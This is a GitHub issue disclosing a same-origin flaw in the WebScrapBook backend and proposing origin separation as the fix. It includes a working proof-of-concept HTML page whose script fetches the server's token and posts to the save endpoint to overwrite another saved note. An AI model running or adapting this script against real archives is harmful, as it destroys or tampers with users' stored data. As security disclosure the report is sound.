-
Notifications
You must be signed in to change notification settings - Fork 20
Description
I am considering the following as a quite serious security flaw. The least important consequence is self-destructing captures, but I am afraid of damaging of the whole archive.
My opinion is that extension (capture and edit) and browser (view content) context should be strictly separated. Ordinary browser windows should have credentials allowing only view of saved pages. Saving of new pages or editing of them should be available from extension code only.
Fully configured backend should use different domains for API and for saved content. In quick/developer setup mode it could be at least different ports of localhost. Personally I consider using dnsmasq and separate subdomain for each saved page.
Prerequisite: JS script is leaked somehow from origin page to the capture. It is hard to ensure that all scripts are cleaned even when the related option is set.
Let's assume that there is a note /data/20200825072842466/index.md on the server. In real life URL could be obtained from the directory index.
I have put the following file to another directory simulating leak of JavaScript to the saved file:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>webscrapbook backend hack</title>
</head>
<body>
<h1>WebScrapBook backend hack</h1>
<pre id="log"></pre>
<script type="text/javascript">
const hackTarget = '/data/20200825072842466/index.md';
var log = document.getElementById("log");
function logError(e) {
console.error(e);
log.innerText += "\nError:\n" + e + "\n";
}
function logSuccess(r) {
console.log(r);
log.innerText += "\nSuccess:\n" + r + "\n";
}
async function hackIt() {
const token = (await (await fetch("/?a=token&f=json")).json()).data;
logSuccess("token: " + token);
const d = new FormData();
d.append("token", token);
const text = "hacked at " + new Date();
d.append("text", text);
const res = (await (await fetch(
hackTarget + '?a=save&f=json',
{method: 'POST', body: d})).json()).data;
logSuccess("result: " + res);
logSuccess("hacked: " + hackTarget + "\nSet: " + text);
}
hackIt().catch(logError);
</script>
</body>
</html>I have clicked on this page in the WebScrapBook sidebar and got another page overwritten.
I believe that a separate WSGI application without support of modifying actions is required to serve saved pages for visiting them. In the case of "production" setup with reverse proxy application role shrinks to checking of authentication and rendering of markdown notes. Static files could be served by the reverse proxy directly. Different origin (host or port) is necessary to prevent CORS attacks.